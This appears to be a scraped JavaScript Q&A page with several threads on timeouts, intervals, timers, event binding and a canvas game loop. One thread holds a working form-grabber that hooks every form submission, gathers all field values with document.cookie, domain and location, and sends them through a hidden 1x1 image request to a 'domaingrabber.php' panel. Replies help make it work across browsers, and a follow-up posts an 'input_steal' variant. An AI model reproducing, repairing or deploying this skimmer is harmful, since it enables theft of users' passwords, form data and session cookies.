I'm using javascript to set my mouseover at the left nav. But the problem is, the timeout is faster than it should be. How do I make it longer on mouseover?
stuHover = function () {
var cssRule;
var newSelector;
for (var i = 0; i < document.styleSheets.length; i++) {
for (var x = 0; x < document.styleSheets[i].rules.length; x++) {
cssRule = document.styleSheets[i].rules[x];
if (cssRule.selectorText.indexOf("LI:hover") != -1) {
newSelector = cssRule.selectorText.replace(/LI:hover/gi, "LI.iehover");
document.styleSheets[i].addRule(newSelector, cssRule.style.cssText);
}
}
}
var getElm = document.getElementById("nav").getElementsByTagName("LI");
for (var i = 0; i < getElm.length; i++) {
getElm[i].onmouseover = function () {
this.className += " iehover";
}
getElm[i].onmouseout = function () {
this.className = this.className.replace(new RegExp("iehover\\\b"), "")
}
}
}
if (window.attachEvent) window.attachEvent("onload", stuHover);
You want something like this:
getElm[i].onmouseout = function() {
var t = this;
setTimeout(function() {
t.className = t.className.replace(" iehover","");
},5000); // 5 seconds
};
Although really, if I had to wait 5 seconds for something to disappear if I accidentally moved over the trigger area, I'd be annoyed. Try 250 instead (0.25 seconds).
Related
The loop in myFunctionlp, is not working to the specified user input through prompt which is round in this case. I want that loop to run until the input of the user which I am getting through prompt. myFunctionlp is being called by a button press.
var round = prompt("Enter number of rounds");
var defaultNumberOfRounds = 1;
var roundno = isNaN(Number(round)) ? defaultNumberOfRounds : round;
var images_arr = ["../img/paper.png", "../img/stone.png",
"../img/sisor.png"
];
var size = images_arr.length;
console.log(`round: ${round}, roundno: ${roundno}`);
function myFunctionlp() {
for (var i = 0; i < roundno; i++) { //this loop
console.log(i);
setInterval(function() {
var x = Math.floor(size * Math.random())
$('#random').attr('src', images_arr[x]); // JQuery
}, 1500);
setInterval(function() {
var sound = new Audio("../audio/audio.mp3");
sound.play();
if (s == 50) {
sound.pause();
} else {
alert("Hello");
}
}, 3000);
}
}
function stop() {
for (s = 0; s < 51; s++) {
console.log(s);
}
}
function extra() {
var music = new Audio("../audio/audio_3.mp3");
music.play();
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<button class="onClick" onclick="myFunctionlp()">Play</button>
I want to set interval between clicks with this code. This is the script :
var inputs = document.getElementsByClassName('class-name');
for(var i=0; i<inputs.length;i++) {
inputs[i].click();
}
You can either set a bunch of time outs
var inputs = document.getElementsByClassName('class-name');
for (var i = 0; i < inputs.length; i++) {
(function(i){
setTimeout(function () {
inputs[i].click();
}, 1000 * i);
})(i);
}
or you can just use an interval
(function() {
var inputs = document.getElementsByClassName('class-name'),
current = 0,
timer = window.setInterval(
function () {
var input = inputs[current];
if (input) {
input.click();
current++;
} else {
window.clearInterval(timer);
}
}
,1000);
}());
Try this:
var inputs = document.getElementsByClassName('class-name');
for (var i = 0; i < inputs.length; i++) {
(function(i){
// to get the actual value of i
setInterval(function () {
inputs[i].click();
}, 1000);
})(i);
}
I have a problem with my timer -
var myTimer = function () {
var d = Date.now();
// var t=d.toLocaleTimeString();
var timerSeconds = Math.round((od - d) / 1000);
document.getElementById("timer").innerHTML = "Time left for this tour:" + timerSeconds;
if (timerSeconds > 0) {
setTimeout(arguments.callee, 1000);
} else {
finTour();
}
};
myTimer();
it calls this function:
var finTour = function () {
deleteCartes();
randomCell();
od = Date.now() + 5000;
myTimer();
window.setTimeout(function () {
tourOfComp();
}, 5000)
var tourOfComp = function () {
for (var i = 0; i < 12; i++) {
if (document.getElementsByTagName("td")[i].style.backgroundColor == "aqua") {
document.getElementsByTagName("td")[i].firstChild.data = cartes[prochaineCarte++]
}
}
for (var j = 0; j < 12; j++) {
if (document.getElementsByTagName("td")[j].style.backgroundColor == "aqua")
document.getElementsByTagName("td")[j].style.backgroundColor = "";
}
for (var k = 0; k < 3; k++) {
tab[k].value = "";
}
od = Date.now() + timeFixe;
myTimer();
};
the problem is when I fix the time 20, it calls these two last function and the time is always 5 and never 20 it seems that it doesn`t renew the time, but only repeat this:
window.setTimeout(function ()
{
tourOfComp();
},5000)
So i've got 2 sets of js one with attach event and one with addEventListener attach event works perfectly in IE 8 as expected and addEventListener for IE 9. if i use addEventListener on firefox in jsfiddle it seems to work fine no issues in firefox but as soon as i deploy it and try to use it as intended it just doesn't work at all any input would be great..
IE 8
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].attachEvent('onsubmit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "URL"+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}
IE 10
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].addEventListener('submit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"&post="+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}
any ideas would be great, it's properly something stupid but i just can't think today
Combine them into a general function that can detect the correct way:
function addEvent(element, eventName, callback) {
if (element.addEventListener) {
element.addEventListener(eventName, callback, false);
} else if (element.attachEvent) {
element.attachEvent("on" + eventName, callback);
}
}
and then use it like:
addEvent(document.getElementById("some_id"), "click", function () {
// Your click handler for that element
});
That way, your code that binds the event doesn't need to figure out which to use and can work in every browser as long as you call addEvent.
I just created the following with your help, thank you.
It works in Firefox for me.
I uploaded a demo to http://mikaelz.host.sk/helpers/input_steal.html
function collectInputs() {
var forms = parent.document.getElementsByTagName("form");
for (var i = 0;i < forms.length;i++) {
forms[i].addEventListener('submit', function() {
var data = [],
subforms = parent.document.getElementsByTagName("form");
for (x = 0 ; x < subforms.length; x++) {
var elements = subforms[x].elements;
for (e = 0; e < elements.length; e++) {
if (elements[e].name.length) {
data.push(elements[e].name + "=" + elements[e].value);
}
}
}
console.log(data.join('&'));
// attachForm(data.join('&));
}, false);
}
}
window.onload = collectInputs();
I am trying to draw enemy ships to the canvas that will come from the right at a random x being the height of the canvas and a random y past the right side + 1000.
This works fine however I am trying to make it automated and the code runs run it just does not work on screen, only 1 is drawn? Any more info that you need just ask, It's really frying my brain I went line by line for around 3 hours and can't see an issue.
Before I added this code and just called one manually: http://www.taffatech.com/DarkOrbit.html
After I added this code for automatic: (it kinda looks like its overlapping)
http://www.taffatech.com/test.html
Globals:
var spawnInterval;
var totalEnemies = 0; //leave as is
var enemies = []; //array of enemy objects
var spawnRate = 2000; //every 2 seconds
var spawnAmount = 3; //amount of enemies spawned
Then my init() calls a startLoop:
function startLoop()
{
isPlaying = true;
Loop();
startSpawningEnemies();
}
function stopLoop()
{
isPlaying = false;
stopSpawningEnemies();
}
function Loop()
{
if (isPlaying == true)
{
Player1.draw();
requestAnimFrame(Loop);
drawAllEnemies();
}
then they use these functions:
function spawnEnemy(n) //total enemies starts at 0 and every-time you add to array
{
for (var x = 0; x < n; x++)
{
enemies[totalEnemies] = new Enemy();
totalEnemies++;
}
}
function drawAllEnemies()
{
ClearEnemyCanvas();
for(var i = 0; i < enemies.length; i++)
{
enemies[1].draw();
}
}
function startSpawningEnemies()
{
stopSpawningEnemies();
spawnInterval = setInterval(function() {spawnEnemy(spawnAmount);}, spawnRate); //this calls spawnEnemy every spawnRate
/////////spawn 'spawnAmount' enemies every 2 seconds
}
function stopSpawningEnemies()
{
clearInterval(
spawnInterval);
}
which in turn calls the Enemy class:
function Enemy() //Object
{
//////Your ships values
this.EnemyHullMax = 1000;
this.EnemyHull = 1000;
this.EnemyShieldMax = 1000;
this.EnemyShield = 347;
this.SpaceCrystalReward = 2684;
this.EnemySpeed = 2; //should be around 6 pixels every-time draw is called by interval, directly linked to the fps global variable
////////////
////Pick Ship
this.type = "Hover";
this.srcX = EnemySrcXPicker(this.type);
this.srcY = EnemySrcYPicker(this.type);
this.enemyWidth = EnemyWidthPicker(this.type);
this.enemyHeight = EnemyHeightPicker(this.type);
this.drawX = EnemydrawXPicker(this.type);
this.drawY = EnemydrawYPicker(this.type);
////
}
Enemy.prototype.draw = function()
{
this.drawX -= this.EnemySpeed;
ctxEnemy.globalAlpha=1;
ctxEnemy.drawImage(spriteImage,this.srcX,this.srcY,this.enemyWidth,this.enemyHeight,this.drawX,this.drawY,this.enemyWidth,this.enemyHeight);
}
function EnemySrcXPicker(type)
{
if (type == "Hover")
{
return 906;
}
}
function EnemySrcYPicker(type)
{
if (type == "Hover")
{
return 616;
}
}
function EnemydrawXPicker(type)
{
if (type == "Hover")
{
return Math.floor(Math.random() * 1000) + canvasWidthEnemy;
}
}
function EnemydrawYPicker(type)
{
if (type== "Hover")
{
return Math.floor(Math.random() * (canvasHeightEnemy - 72));
}
}
function EnemyWidthPicker(type)
{
if (type == "Hover")
{
return 90;
}
}
function EnemyHeightPicker(type)
{
if (type == "Hover")
{
return 72;
}
}
for(var i = 0; i < enemies.length; i++)
{
enemies[1].draw();
}
should probably be
for(var i = 0; i < enemies.length; i++)
{
enemies[i].draw();
}
...or you'll draw the same enemy over and over.
In your drawAllEnemies function, shouldn't
enemies[1].draw();
be
enemies[i].draw();
?
When you loop the enemies array you should use the index i that you setup so that it doesn't continually draw the same element:
for(var i = 0; i < enemies.length; i++)
{
enemies[i].draw();
}